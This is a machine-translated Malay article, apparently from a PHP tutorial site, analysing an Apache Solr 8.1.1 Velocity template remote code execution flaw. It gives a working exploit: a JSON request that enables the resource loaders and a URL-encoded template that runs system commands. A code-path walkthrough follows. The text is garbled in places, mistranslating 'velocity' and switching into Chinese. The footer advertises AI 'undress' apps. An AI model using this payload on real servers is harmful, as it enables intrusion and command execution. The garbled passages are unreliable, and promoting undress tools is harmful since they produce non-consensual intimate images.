


Bagaimana untuk menganalisis kerentanan RCE terkini dalam Apache Solr
Pengenalan
Kerentanan RCE 0hari ditemui dalam Apache Solr (nombor kerentanan tidak diberikan Di sini kami hanya menghasilkan semula objek dan menganalisis keseluruhan proses RCE untuk kemudahan anda.
Kerentanan Berulang
Versi Berulang: 8.1.1
Untuk melaksanakan RCE, anda perlu membahagikannya kepada dua langkah Pertama, sahkan bahawa aplikasi mempunyai a teras tertentu didayakan (anda boleh Lihat dalam Pentadbir Teras), aplikasi dalam contoh itu telah mycore didayakan,
dan kemudian mula-mula menghantar data json berikut ke antara muka konfigurasinya,
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
Kemudian lawati url berikut untuk melaksanakan RCE,
/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Prinsip
Mula-mula analisa paket data pertama, kerana ia adalah konfigurasi daripada mycore, jadi kita dahulukan Titik putus ditetapkan pada fungsi handleRequestBody SolrConfigHandler yang mengendalikan permintaan konfigurasi,
Oleh kerana ia adalah permintaan POST, ikuti fungsi handlePOST,
Dalam handlePOST, mula-mula keluarkan konfigurasi semasa mycore, dan kemudian bawa ke dalam fungsi handleCommands bersama-sama dengan konfigurasi yang kami hantar, dan dalam operasi seterusnya, akhirnya masukkan addNamedPlugin dan cipta objek VelocityResponseWriter Nilai solr.resource.loader.enabled dan params.resource.loader.enabled ditetapkan kepada benar, dan nama objek ialah halaju.
Kemudian apabila menghantar paket data kedua, apabila mendapat responseWriter dalam HttpSolrCall.call, objek responseWriter akan diperolehi mengikut nilai parameter wt velocity, apa yang kami dapat ialah VelocityResponseWriter kami yang dikonfigurasikan dengan teliti
Selepas beberapa siri panggilan berikutnya, ia akhirnya memasuki kerentanan kami yang paling serius. Fungsi VelocityResponseWriter.write mula-mula memanggil fungsi createEngine untuk menghasilkan enjin yang mengandungi templat hasad custom.vrm->payload
Templat hasad diletakkan di dalam enjin. Terdapat perkara yang sangat penting dalam
dalam params.resource.loader.instance dan solr.resource.loader.instance overridingProperties Jika anda mahu membiarkan templat hasad masuk params.resource Dalam .loader.instance dan solr.resource.loader.instance, anda perlu memastikan bahawa paramsResourceLoaderEnabled dan solrResourceLoaderEnabled adalah Benar Inilah yang dilakukan oleh paket data pertama kami,
Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
// 变量定义 #set($name =“velocity”) // 变量赋值 #set($foo = $bar) // 函数调用 #set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) // 循环语法 #foreach($element in $list) This is $element $velocityCount #end // 执行模板 template.merge(context, writer);
Atas ialah kandungan terperinci Bagaimana untuk menganalisis kerentanan RCE terkini dalam Apache Solr. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas

